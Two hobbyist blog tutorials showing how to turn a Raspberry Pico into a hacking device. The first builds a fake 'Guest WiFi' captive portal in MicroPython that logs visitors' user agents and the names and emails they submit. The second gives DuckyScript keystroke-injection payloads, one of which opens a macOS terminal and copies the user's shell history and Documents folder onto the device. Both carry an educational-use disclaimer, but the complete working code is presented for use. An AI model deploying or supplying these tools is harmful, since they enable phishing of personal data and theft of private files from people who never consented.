This article shows how to create a captive portal that runs on a Raspberry Pico W. A captive portal is an informal way with which client devices connect to local WiFi with the intention to gain full access to the internet. Since clients connect unsolicited to these portals, and because the user provides some amount of personal information, several exploits can be engineered. Creating a captive portal is surprisingly easy with the right software and the knowledge which clients require which URLs. You will learn both aspects in this article.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is MicroPython v1.23.0 and the webserver/webpage templating library phew v0.0.3. The examples should work with newer versions too, but might require some code changes.

The initial idea for this topic was sparked by an excellent article in the German computer magazine CT 2023/27 titled "Raspberry Hacking: Phishing Hotspot". The article itself cannot be accessed, but its link collection is available on the public internet.

This article originally appeared at my blog admantium.com.

Required Hardware

As with several other microcontroller projects, the required bill of materials is short and concise:

Raspberry Pico W (model 1 and 2)

What is a Captive Portal?

A captive portal is a WiFi hotspot to which client devices connect autonomously. Typically, you encounter these portals in public spaces, cafes or hotels. For a not registered device, HTTP redirects and DNS redirects force the device to open the portal landing page. This page typically shows branded information and advertisement, and a form asking for personal details and agreement to the service usage. Once accepted, the portal puts the clients MAC address into an allowlist, and full internet access is granted.

In this process, several exploits can be placed.

Device sniffing: The captive portal opens a device specific workflow, and some devices may make hotspot requests unsolicited. This can be used to passively grab device metadata.
Information dissemination: The portals landing page is shown to the client without restrictions, it can provide unsolicited information.
Information stealing: A branded website fake might induce users to provide personal information.
Man in the Middle: The portal controls HTTP requests. The ruleset of HTTP and DNS redirects that are enforced on new clients can be used for traffic shaping and interception.

MicroPython and Library Setup

To program the portal, the Pico needs to be flashed with MicroPython and include an external library. The concrete steps are:

Download the latest MicroPython distribution for the Raspberry Pico W
Connect the Pico to your computer, hold down the bootsel button, and put the Pico into USB mode
Drag and drop the MicroPython UF2 image to the Pico

The Pico reboots itself. Then, open the Thonny IDE, configure the interpreter to "MicroPython (Raspberry Pi Pico)", and select your connected board. Using Thonny's file explorer, you can add the required library.

Go to the phew library GitHub project, and either download the latest release or the projects current code base from the main branch
Create the folder lib, and then copy the phew source code into this directory
Create an empty file called __init__.py inside the lib folder

The resulting file structure should look like this:

Programming the Captive Portal

Similar to the well-known framework Flask, phew simplifies web application development. With just a few lines of code, combining annotations and plain Python functions, handlers for specific HTTP requests can be created. While this blog article is not an exploration of this framework itself, it will cover most of its functions nevertheless, but geared towards creating a captive portal.

The following code starts a local access point and a webserver that responds to the default route / with a text message. All other requests will be responded with the status code 404.

from phew import server
from phew import access_point

SSID = "Guest WiFi"

@server.route("/", methods=["GET", "POST"])
def start_portal(request):
  return "Hello from Raspberry Pico", 200, "text/html"

@server.catchall()
def catchall(request):
  return "Not found", 404

print("starting ...")

ap = access_point(SSID)
ip = ap.ifconfig()[0]
print(f"access point ip: #{ip}")

server.run()

To run this code, you can create a main.py file in the projects root directory with this code as its content, or just click on the Run button. Once the script is started, the local endpoint becomes available. Connect to it, then open http://192.168.4.1 in your browser.

The Thonny terminal prints a simplified access log:

starting ...
access point ip: #192.168.4.1
2024-09-29 15:07:56 [info     / 162kB] > starting web server on port 80
2024-09-29 15:08:58 [info     / 153kB] > GET / (200 OK) [284ms]
2024-09-29 15:08:58 [info     / 162kB] > GET /favicon.ico (404 Not Found) [29ms]
2024-09-29 15:09:42 [info     / 155kB] > GET /menu.html (404 Not Found) [278ms]

Rendering a Web Page

Phew also supports templated web pages. Let’s use this feature to show a web page with a form asking for the users e-mail address and name.

In the Pico’s filesystem, create the file www/index.html with this content:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{{ title }}</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <h1>{{ title }}</h1>
    <form action="#" method="post">
        <label for="email">Email:</label><br>
        <input type="email" id="email" name="email" required><br><br>

        <label for="name">Name:</label><br>
        <input type="text" id="name" name="name" required><br><br>

        <label for="surname">Surname:</label><br>
        <input type="text" id="surname" name="surname" required><br><br>

        <input type="checkbox" id="agree" name="agree" required>
        <label for="agree">I agree to the terms and conditions</label><br><br>

        <input type="submit" value="Submit">
    </form>
</body>
</html>

Now, in the phew app, change the source code to include the template and forward the title parameter. Change the start_portal method as shown:

from phew import template

PATH = "www/"

@server.route("/index.html", methods=["GET", "POST"])
def start_portal(request):
  return template.render_template(PATH + "index.html", title="Guest Wifi")

The template is rendered - but without any styling, this looks rather untrustworthy.

Serving CSS

Let’s add additional styling. Create the file www/style.css with this content:

body {
    display: flex;
    justify-content: center;
    align-items: center;
    flex-direction: column;
    height: 100vh;
    margin: 0;
    background-color: #f0f0f0;
}
.box>*:first-child {
  align-self: stretch;
}
.form-container {
    width: 400px;
    height: 400px;
    padding: 20px;
    margin-top: 50px;
    background-color: #ffffff;
    box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
    border-radius: 8px;
}
input[type="text"],
input[type="email"] {
    width: 100%;
    padding: 8px;
    margin-bottom: 5px;
    border: 1px solid #ccc;
    border-radius: 4px;
}
input[type="checkbox"] {
    margin-right: 5px;
}
input[type="submit"] {
    width: 100%;
    padding: 10px;
    background-color: #007bff;
    color: white;
    border: none;
    border-radius: 4px;
    cursor: pointer;
}
input[type="submit"]:hover {
    background-color: #0056b3;
}

To serve the CSS, a new route is required too:

@server.route("/style.css", methods=["GET", "POST"])
def style(request):
  return server.Response(template.render_template(PATH + "style.css"), 200, {"Content-Type": "text/css"})

Now the site looks like a proper portal:

Client-Specific Routes

Each client device - Android phones, iPhones, Windows/Linux/OsX laptops, require specific URL paths and expects a specific status code to "negotiate" with the captive portal.

According to the original article that provided the idea, and the Wikipedia page, the following rules need to be kept:

OsX: /hotspot-detect.html with the plain text content "Success"
Android: /generate_204 with status code 204 and no content
Windows: /redirect with no content, and two routes that are accessed to test if the connected hotspot is a captive portal: /connecttest.txt with the plain text content "Microsoft Connect Test", and /ncsi.txt with "Microsoft NCSI" to cover current and past Windows versions,
Linux: For gnome-based desktops /check_network_status.txt with the plain text message "NetworkManager is online", and for KDE that’s / with OK

During tryout with Android and OsX, I found that returning the mentioned text content is not important, the presence of the route is sufficient. Also, browsers might request additional routes, for example a Firefox browser tries to resolve /canonical.html. However, if this route is not present, it also does not interfere with the portal workflow process.

Therefore, to implement the captive portal functions, a redirect to the portal landing page is implemented for the main routes, and other routes jus return a positive status code.

@server.route("/hotspot-detect.html", methods=["GET"])
@server.route("/generate_204", methods=["GET"])
@server.route("/redirect", methods=["GET"])
@server.route("/check_network_status.txt", methods=["GET"])
def hotspot(request):
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])
@server.route("/connecttest.txt", methods=["GET"])
def hotspot_connecttest(request):
    return "", 200

Credential Grabbing Exploit

With all aspects implemented, the final part is to add the information stealing exploit. The device shall create logfiles containing the request user agent, and another file that stores the filled in form data.

First, the method to create a logfile is implemented. In the current MicroPython version, it is not possible to open a file and append text to it. Therefore, a new logfile will be created, with its timestamp as the filename. The following method prints its message and all key-value pairs of the provided dict object. Also note the explicit sleep commands - I had some cases where files would not be created properly, waiting between opening and closing helped.

def log_to_file(msg, request):
    timestamp = "".join([str(c) for c in list(localtime())])
    filename = LOG_PATH + timestamp + ".txt"

    sleep(0.3)
    with open(filename, "w") as file:
        file.write(msg + "\n")
        for key, value in request.items():
            file.write(f"{key}: {value}\n")
    sleep(0.3)
    return None

The user-agent will be grabbed whenever one of the hotspot routes is accessed. Add a function call off log_to_file as shown in the following.

# ...
def hotspot(request):
    log_to_file("hotspot", {"path": request.path, "user-agent":request.headers["user-agent"]})
    return server.redirect(f"http://{DOMAIN}/", 302)

#...
def hotspot_connecttest(request):
    log_to_file("connect_test", {"path": request.path, "user-agent":request.headers["user-agent"]})
    return "", 200

The login form requires all fields to be filled out, and then makes a POST request. Inside the corresponding handler function, the form data will be logged, and then a simple HTML page rendered.

@server.route("/login", methods=["POST"])
def login(request):
  log_to_file("Login Data ", request.form)

  return template.render_template(PATH + "success.html", title="Success")

The HTML code for the success page is as follows:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>{{ title }}</title>
    <link rel="stylesheet" href="style.css">
</head>
<body>
    <h1>{{ title }}</h1>
    <p>Thank you for registering. You are connected to the WiFi.</p>
</body>
</html>

Bring the hotspot online, and after some time, the logfiles will pile up.

The files are stored on the device itself. For remote access, a secret route, password protected, could be implemented, but I will leave this as an exercise.

Complete Source Code

Here is the complete handler source code:

from phew import server
from phew import access_point
from phew import template
from phew import dns
from time import localtime, sleep

SSID = "Guest WiFi"
PATH = "www/"
LOG_PATH = "log/"
DOMAIN = "hot.spot.com"

@server.route("/hotspot-detect.html", methods=["GET"])
@server.route("/generate_204", methods=["GET"])
@server.route("/redirect", methods=["GET"])
@server.route("/check_network_status.txt", methods=["GET"])
def hotspot(request):
    log_to_file("hotspot", {"path": request.path, "user-agent":request.headers["user-agent"]})
    return server.redirect(f"http://{DOMAIN}/", 302)

@server.route("/ncsi.txt", methods=["GET"])
@server.route("/connecttest.txt", methods=["GET"])
def hotspot_connecttest(request):
    log_to_file("connect_test", {"path": request.path, "user-agent":request.headers["user-agent"]})
    return "", 200

@server.route("/", methods=["GET", "POST"])
def start_portal(request):
  return template.render_template(PATH + "index.html", title="Guest WiFi")

@server.route("/login", methods=["POST"])
def login(request):
  data = {"user-agent":request.headers["user-agent"]}
  data.update(request.form)
  log_to_file("Login Attempt ", data)
  return template.render_template(PATH + "success.html", title="Success")

@server.route("/style.css", methods=["GET", "POST"])
def style(request):
  return server.Response(template.render_template(PATH + "style.css"), 200, {"Content-Type": "text/css"})

@server.catchall()
def catchall(request):
    return "Not found", 404

def log_to_file(msg, request):
    timestamp = "".join([str(c) for c in list(localtime())])
    filename = LOG_PATH + timestamp + ".txt"
    print(filename)

    sleep(0.3)
    with open(filename, "w") as file:
        file.write(msg + "\n")
        for key, value in request.items():
          file.write(f"{key}: {value}\n")
    sleep(0.3)
    return None

print("starting captive portal ...")

ap = access_point(SSID)
ip = ap.ifconfig()[0]
dns.run_catchall(ip)
print(f"access point ip: #{ip}")

server.run()

Follow Up & Related Projects

To improve this project, two aspects come to my mind. First, adding a SSL certificate to ensure an encrypted connection. The phew library itself has no support for certificates, but there is TLS support in MicroPython with the SSL/TLS module. However, this would mean to rewrite the framework to support TLS as well. And the second aspect is to remove the DNS redirects once a client acknowledged the conditions on the landing page. However, this is also not a use case of the phew library.

Exploring other projects, the idea to implement a captive portal with the Pico W gained some traction in the open-source community.

Wifimanager Pico: A standalone GitHub project, it creates a captive portal with a clean UI. The first step is to define the designated WiFi network for which the captive portal stores its credentials. Upon first connection, it will scan all neighboring networks, and the user selects the target and enters the credentials. When the captive portal can connect to the target successfully, its credentials are stored. Then, all new devices that connect will get the stored credentials. It would be interesting to see if information stealing and man in the middle attacks could be realized.
PicoW Captive Portal: This guide contains valuable information about the specific behavior of clients regarding captive portal webpage URLs and expected status codes. It details how recent Android smartphones, iPhones, Windows and OsX laptops search a captive portal for their credentials. This article continues to implement a captive portal also using the phew project.
phewAP: An example project using phew to implement a captive portal, showing other features such as how to access the Pico’s hardware to make the onboard LED blink when a button on a webpage is pressed.

Conclusion

A captive portal is a WiFi hotspot typically encountered at Cafes or hotels. A portal uses HTTP and DNS redirects to emerge upon a landing page. Typically, personal information and acknowledgement of usage conditions is requested on this page, and when acknowledged by the user, full access to the internet is provided. This article showed how to implement a captive portal on the Raspberry Pico W Microcontroller. You learned how to setup the Pico with MicroPython and the phew library, saw how to implement HTTP routes that mimic a captive portal, and understood how to extract device metadata during connection attempts and store personal information that users enter on the landing page.

Hacking with Raspberry Pico: Terminal Text Injection and File Stealing

Sebastian — Mon, 18 May 2026 03:52:36 +0000

The Raspberry Pico is a small form factor microcontroller used in several application areas: DIY sensor capture, controlling screens, and even for hacking. With full access to its USB stack via MicroPython/CircuitPython and an additional library, the Pico can be programmed as a physical hacking device. It will act as an USB HID or storage device, but inject keystrokes into the host system.

In my previous article USB Hacking Device Programming, I showed how to setup the Pico and run an example exploit script: opening a text editor on a Linux computer and write a text message. Working on this project, I realized that the script is written in DuckyScript. The curiosity about this language, understanding its capabilities and the exploits that can be implemented, led me to investigate it further and write a concise language introduction.

And in this final article, practical exploits are developed. The exploits use the pico-ducky library, an interpreter for DuckyScript.

This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.

The technical context for this article is CircuitPython v9.1.4 and pico-ducky commit #221e796. The examples should work with newer releases too, but might require some code changes.

This article originally appeared at my blog admantium.com.

Exploit 1: Terminal Text Injection

The goal of the first exploit is to scare the user by opening a text terminal. Instead of just blind injecting the keystrokes, it will delay its execution, and assure that no special keys are activated - as an attempt to gauge that the user is not present

Requirements

Waiting for a fixed amount of time
Wait that no LED keys are pressed on the host
Open a new terminal
Inject a message

Learnings and Limitations

During implementation of this exploit, I learned the following:

A global variable cannot be used as an argument to the DELAY function
The commands to generate random characters and numbers, like RANDOM_NUMBER, are not supported
The WAIT_FOR_CAPS_OFF and similar commands are not processed, the script execution just continues
The HOLD and RELEASE commands work as normal keystrokes only
Inserting a not supported command at the end of the script stops the script execution - my choice is simple a STOPP on the last line

Implementation

With these limitations, the exploit will merely wait for a fixed amount of time, and then execute once. As a bonus, a function is added that prints a . on the screen with a fixed delay.

REM Target: OsX
REM Exploit: open text editor and write a message

FUNCTION SCARE()
    STRING Hello World!
    VAR $TIMER = 10
    WHILE ($TIMER > 0)
        STRING .
        $TIMER = ($TIMER - 1)
        DELAY 500
    END_WHILE
END_FUNCTION

DELAY 5000
GUI SPACE
DELAY 1000
STRING Terminal.app
DELAY 1000
ENTER
DELAY 1500
SCARE()
STOP

Exploit 2: File Stealing

The second exploit is built around the feature that the Pico itself can function as an USB device on the host. When inserted, it will act as both a HID and USB storage device. It will then use the hosts native scripting language to identify the home directory of its user, fetch known files, and copy them to itself.

Requirements

Connect the device as HID and storage
Wait a fixed amount of time
Start a series of bash commands:
- Open a terminal
- Determine the likely mount path of the Pico
- Access the host user document folder
- Search and copy known file names
Disconnect the USB device or hide the copied files

Learnings and Limitations

Several more limitations became apparent during working on this sketch:

The Pico W defaults to HID only mode. To turn it into an USB device, you need to modify the Pico ducky code. In boot.py and code.py, change all conditional checks for the Raspberry Pico W to a False value, e.g. replacing raspberry_pi_pico_w with raspberry_pi_pico. Note that this will disable the WIFI hotspot too.
There is no support for the ATTACK_MODE configuration, you cannot dynamically switch between HID only and USB storage mode, and therefore not disconnect the USB drive with a script. However, you could modify the libraries source code so that after the script execution, the function call storage.disable_usb_drive() is executed.
When chaining multiple bash commands together, which will take some execution time, using DELAY become a mandatory command
You cannot use the STRINGLN command
You need to customize the keyboard layout to match the target computers layout, see Changing Keyboard Layouts in the official documentation

Implementation

The following implementation assumes that the Pico device will get the /dev/disk2 device file. Without the option to disable USB storage, the Pico will connect and stay connected - but the files are copied nevertheless.

REM Target: OsX
REM Exploit: Copy well known files from the user home directory

GUI SPACE
DELAY 1000
STRING iterm.app
ENTER
DELAY 1500
ENTER
STRING export TARGET_PATH=$(df -h| grep /dev/disk2| sed -e 's/.*\(\/Volumes\/.*\)/\1/')
DELAY 1500
ENTER
STRING cp ~/.bash_history $TARGET_PATH
DELAY 1500
ENTER
STRING cp -rv ~/Documents $TARGET_PATH/docs
DELAY 1500
ENTER
STOPP

Conclusion

The Raspberry Pico W can be turned into a physical hacking device with the help of the pico ducky library. This article showed how to implement two exploits: a) scare the user by injecting text into a terminal, b) connect as an USB storage and HID device, then copy well known user files. During implementation, it became apparent that not all DuckyScript commands are supported, which limits the features of exploits. The best approach therefore is to check the duckyinpython.py file for all keywords that are supported, and build an exploit around this. But despite this: Turning the very affordable Raspberry Pico into a prototype hacking device is a great educational experience.